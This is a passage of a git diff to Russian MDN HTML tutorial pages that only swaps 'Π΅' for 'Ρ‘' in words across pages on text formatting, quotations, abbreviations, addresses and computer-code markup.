ΠΌΠΎΠ΄ΡƒΠ»Π΅ Π²Ρ‹ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ с создания частСй Ρ„ΠΎΡ€ΠΌ Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°.</dd>
</dl>
<h2 id="РСшСниС_ΠΎΠ±Ρ‰ΠΈΡ…_HTML_Π·Π°Π΄Π°Ρ‡">РСшСниС ΠΎΠ±Ρ‰ΠΈΡ… HTML Π·Π°Π΄Π°Ρ‡</h2>
-<p><a href="/ru/docs/Learn/HTML/Howto">ИспользованиС HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ‰ΠΈΡ… Π·Π°Π΄Π°Ρ‡</a> содСрТит ссылки Π½Π° Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΡ‡Π΅Π½ΡŒ распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΈ создании Π²Π΅Π±-страницы: Ρ€Π°Π±ΠΎΡ‚Π° с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ содСрТимого, созданиС Π±Π°Π·ΠΎΠ²ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Ρ‚.Π΄.</p>
+<p><a href="/ru/docs/Learn/HTML/Howto">ИспользованиС HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΠ±Ρ‰ΠΈΡ… Π·Π°Π΄Π°Ρ‡</a> содСрТит ссылки Π½Π° Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΎΠ±ΡŠΡΡΠ½ΡΡŽΡ‰Π΅Π³ΠΎ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ HTML для Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΎΡ‡Π΅Π½ΡŒ распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ ΠΏΡ€ΠΈ создании Π²Π΅Π±-страницы: Ρ€Π°Π±ΠΎΡ‚Π° с Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ°ΠΌΠΈ, Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ, Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ содСрТимого, созданиС Π±Π°Π·ΠΎΠ²ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΡ‹ ΠΈ Ρ‚.Π΄.</p>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅:</h2>
diff --git a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html
index 3e05c04ea4..4f401ed57b 100644
--- a/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html
+++ b/files/ru/learn/html/introduction_to_html/advanced_text_formatting/index.html
@@ -1,5 +1,5 @@
---
-title: Π£Π³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста
+title: Π£Π³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ тСкста
slug: Learn/HTML/Introduction_to_HTML/Advanced_text_formatting
tags:
- Beginner
@@ -215,9 +215,9 @@ textarea.onkeyup = function(){
<h3 id="Π‘Π»ΠΎΡ‡Π½Ρ‹Π΅_Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹">Π‘Π»ΠΎΡ‡Π½Ρ‹Π΅ Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹</h3>
-<p>Если Ρ‡Π°ΡΡ‚ΡŒ содСрТимого уровня Π±Π»ΠΎΠΊΠ° (Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ Π°Π±Π·Π°Ρ†, нСсколько Π°Π±Π·Π°Ρ†Π΅Π², список ΠΈ Ρ‚.Β Π΄.) цитируСтся ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ источника, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement ("blockquote")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΡ‚ΡŒ это, ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒΒ URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° источник Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref ("cite", "blockquote")}}.</p>
+<p>Если Ρ‡Π°ΡΡ‚ΡŒ содСрТимого уровня Π±Π»ΠΎΠΊΠ° (Π±ΡƒΠ΄ΡŒ Ρ‚ΠΎ Π°Π±Π·Π°Ρ†, нСсколько Π°Π±Π·Π°Ρ†Π΅Π², список ΠΈ Ρ‚.Β Π΄.) цитируСтся ΠΈΠ· Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ источника, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Ρ‘ Π²Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement ("blockquote")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡ΠΈΡ‚ΡŒ это, ΠΈ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒΒ URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° источник Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref ("cite", "blockquote")}}.</p>
-<p class="syntaxbox">НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° бСрСтся ΠΈΠ· страницы элСмСнта MDN <code><strong>&lt;blockquote&gt;</strong></code>:</p>
+<p class="syntaxbox">НапримСр, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ° бСрётся ΠΈΠ· страницы элСмСнта MDN <code><strong>&lt;blockquote&gt;</strong></code>:</p>
<pre class="brush: html notranslate">&lt;p&gt;&lt;strong&gt;HTML-элСмСнт&lt;code&gt;&amp;lt;blockquote&amp;gt;&lt;/code&gt;&lt;/strong&gt; (ΠΎΡ‚ Π°Π½Π³Π». &lt;em&gt;HTML Block
Quotation Element&lt;/em&gt;) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² Π½Ρ‘ΠΌ тСкст являСтся Ρ€Π°Π·Π²Ρ‘Ρ€Π½ΡƒΡ‚ΠΎΠΉ Ρ†ΠΈΡ‚Π°Ρ‚ΠΎΠΉ.&lt;/p&gt;</pre>
@@ -241,7 +241,7 @@ Quotation Element&lt;/em&gt;) ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π·Π°ΠΊΠ»ΡŽΡ‡Ρ
<pre class="brush: html notranslate">&lt;p&gt;Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ цитирования β€” &lt;code&gt;&amp;lt;q&amp;gt;&lt;/code&gt; β€” &lt;q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"&gt;ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½
для ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… Ρ†ΠΈΡ‚Π°Ρ‚, Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΡ… прСрывания Π°Π±Π·Π°Ρ†Π°&lt;/q&gt;.&lt;/p&gt;</pre>
-<p>Π‘Ρ‚ΠΈΠ»ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ это ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст, Π·Π°ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΉ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ для обозначСния Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π‘Ρ‚ΠΈΠ»ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ это ΠΊΠ°ΠΊ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹ΠΉ тСкст, Π·Π°ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΉ Π² ΠΊΠ°Π²Ρ‹Ρ‡ΠΊΠΈ для обозначСния Ρ†ΠΈΡ‚Π°Ρ‚Ρ‹, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ цитирования β€”Β <code>&lt;q&gt;</code>Β β€” <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… Ρ†ΠΈΡ‚Π°Ρ‚, Π½Π΅ Ρ‚Ρ€Π΅Π±ΡƒΡŽΡ‰ΠΈΡ… прСрывания Π°Π±Π·Π°Ρ†Π°</q>.</p>
@@ -424,7 +424,7 @@ textarea.onkeyup = function(){
<p>Π― Π΄ΡƒΠΌΠ°ΡŽ,Β <abbr title="ΠŸΠΎΡ‡Ρ‚Π΅Π½Π½Ρ‹ΠΉ">ΠŸΠΎΡ‡Ρ‚.</abbr> Π“Ρ€ΠΈΠ½ сдСлал это Π½Π° ΠΊΡƒΡ…Π½Π΅ с Π±Π΅Π½Π·ΠΎΠΏΠΈΠ»ΠΎΠΉ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> БущСствуСт Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ элСмСнт {{htmlelement ("acronym")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈ <code>&lt;abbr&gt;</code>, Π½ΠΎΒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для Π°ΠΊΡ€ΠΎΠ½ΠΈΠΌΠΎΠ² (Ρ‚ΠΈΠΏ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€). Π­Ρ‚ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π±Ρ‹Π»ΠΎ излишним,Β β€” ΠΎΠ½ Π½Π΅ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ ΡƒΡ€ΠΎΠ²Π½Π΅, Ρ‡Ρ‚ΠΎ <code>&lt;abbr&gt;</code>, ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΡƒΡŽ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, поэтому считаСтся бСссмыслСнным ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ±Π°. ΠŸΡ€ΠΎΡΡ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>&lt;abbr&gt;</code>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> БущСствуСт Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ элСмСнт {{htmlelement ("acronym")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² основном Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ самоС, Ρ‡Ρ‚ΠΎ ΠΈ <code>&lt;abbr&gt;</code>, Π½ΠΎΒ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ для Π°ΠΊΡ€ΠΎΠ½ΠΈΠΌΠΎΠ² (Ρ‚ΠΈΠΏ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€). Π­Ρ‚ΠΎ, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π±Ρ‹Π»ΠΎ излишним,Β β€” ΠΎΠ½ Π½Π΅ поддСрТиваСтся Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ ΡƒΡ€ΠΎΠ²Π½Π΅, Ρ‡Ρ‚ΠΎ <code>&lt;abbr&gt;</code>, ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΡƒΡŽ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, поэтому считаСтся бСссмыслСнным ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ±Π°. ΠŸΡ€ΠΎΡΡ‚ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ <code>&lt;abbr&gt;</code>.</p>
</div>
<h3 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅_Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π°Π±Π±Ρ€Π΅Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹</h3>
@@ -560,7 +560,7 @@ textarea.onkeyup = function(){
&lt;p&gt;ΠšΡ€ΠΈΡ Миллс, ΠœΠ°Π½Ρ‡Π΅ΡΡ‚Π΅Ρ€, ЖСстокий Π‘Π΅Π²Π΅Ρ€, Π Π€&lt;/p&gt;
&lt;/address&gt;</pre>
-<p>Однако слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ элСмСнт {{htmlelement ("address")}} ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ написал HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π° Π½Π΅ <em>любого </em>адрСса. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, написанноС Π²Ρ‹ΡˆΠ΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π±Ρ‹ ΠšΡ€ΠΈΡ написал Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ появляСтся Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅Β Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Π΅Ρ‚:</p>
+<p>Однако слСдуСт ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ элСмСнт {{htmlelement ("address")}} ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ… Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ написал HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π° Π½Π΅ <em>любого </em>адрСса. Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, написанноС Π²Ρ‹ΡˆΠ΅ Π±Ρ‹Π»ΠΎ Π±Ρ‹ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½Ρ‹ΠΌ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π±Ρ‹ ΠšΡ€ΠΈΡ написал Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ появляСтся Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅Β Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ΄ΠΎΠΉΠ΄Ρ‘Ρ‚:</p>
<pre class="brush: html notranslate">&lt;address&gt;
&lt;p&gt;Автор страницы β€” &lt;a href="../authors/chris-mills/"&gt;ΠšΡ€ΠΈΡ Миллс&lt;/a&gt;.&lt;/p&gt;
@@ -570,7 +570,7 @@ textarea.onkeyup = function(){
<p>Иногда Π²Π°ΠΌ понадобится ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ надстрочный ΠΈΠ»ΠΈ подстрочный индСкс ΠΏΡ€ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅ Ρ‚Π°ΠΊΠΈΡ… Π²Π΅Ρ‰Π΅ΠΉ, ΠΊΠ°ΠΊ Π΄Π°Ρ‚Ρ‹, химичСскиС Ρ„ΠΎΡ€ΠΌΡƒΠ»Ρ‹ ΠΈ матСматичСскиС уравнСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ΠΈ ΠΈΠΌΠ΅Π»ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ прСдставлСниС. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Ρ‹Β {{htmlelement ("sup")}} ΠΈ {{htmlelement ("sub")}} созданы для Ρ‚Π°ΠΊΠΈΡ… ситуаций.</p>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;p&gt;Π― ΠΏΡ€ΠΎΡΡ‹ΠΏΠ°ΡŽΡΡŒ Π² 6&lt;sup&gt;35&lt;/sup&gt; часов ΡƒΡ‚Ρ€Π°.&lt;/p&gt;
&lt;p&gt;Π₯имичСская Ρ„ΠΎΡ€ΠΌΡƒΠ»Π° ΠΊΠΎΡ„Π΅ΠΈΠ½Π°: C&lt;sub&gt;8&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;N&lt;sub&gt;4&lt;/sub&gt;O&lt;sub&gt;2&lt;/sub&gt;.&lt;/p&gt;
@@ -591,8 +591,8 @@ textarea.onkeyup = function(){
<ul>
<li>{{htmlelement("code")}}: Для Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΎΠ±Ρ‰ΠΈΡ… частСй ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π°.</li>
<li>{{htmlelement("pre")}}: Для сохранСния ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² (ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΊΠΎΠ΄ΠΎΠ²Ρ‹Ρ… Π±Π»ΠΎΠΊΠΎΠ²) — Ссли Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ отступы ΠΈΠ»ΠΈ лишниС ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π²Π½ΡƒΡ‚Ρ€ΠΈ вашСго тСкста, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ, ΠΈ Π²Ρ‹ Π½Π΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π½Π° вашСй ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ страницС; Ссли Π²Ρ‹ помСститС тСкст Π² Ρ‚Π΅Π³ΠΈ <code>&lt;pre&gt;&lt;/pre&gt;</code>, Ρ‚ΠΎ ваши ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ‡Π½ΠΎ Ρ‚ΠΎΠΌΡƒ, ΠΊΠ°ΠΊ Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅ тСкст Π² Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π΅.</li>
- <li>{{htmlelement("var")}}: Для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈΠΌΠ΅Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ….</li>
- <li>{{htmlelement("kbd")}}: Для ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π²Ρ‹Π²ΠΎΠ΄Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Для ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π²Π²ΠΎΠ΄Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ²), Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠ³ΠΎ Π² ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€.</li>
+ <li>{{htmlelement("var")}}: Для ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ ΠΈΠΌΡ‘Π½ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ….</li>
+ <li>{{htmlelement("kbd")}}: Для ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π²Ρ‹Π²ΠΎΠ΄Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. Для ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π²Π²ΠΎΠ΄Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ (ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ²), Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠ³ΠΎ Π² ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€.</li>
<li>{{htmlelement("samp")}}: Для ΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²ΠΊΠΈ Π²Ρ‹Π²ΠΎΠ΄Π° ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹.</li>
</ul>
@@ -615,7 +615,7 @@ para.onclick = function() {
&lt;samp&gt;PING mozilla.org (63.245.215.20): 56 data bytes
64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms&lt;/samp&gt;&lt;/pre&gt;</pre>
-<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
+<p>Π’Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
<p>{{ EmbedLiveSample('Representing_computer_code','100%',300, "", "", "hide-codepen-jsfiddle") }}</p>
@@ -640,7 +640,7 @@ para.onclick = function() {
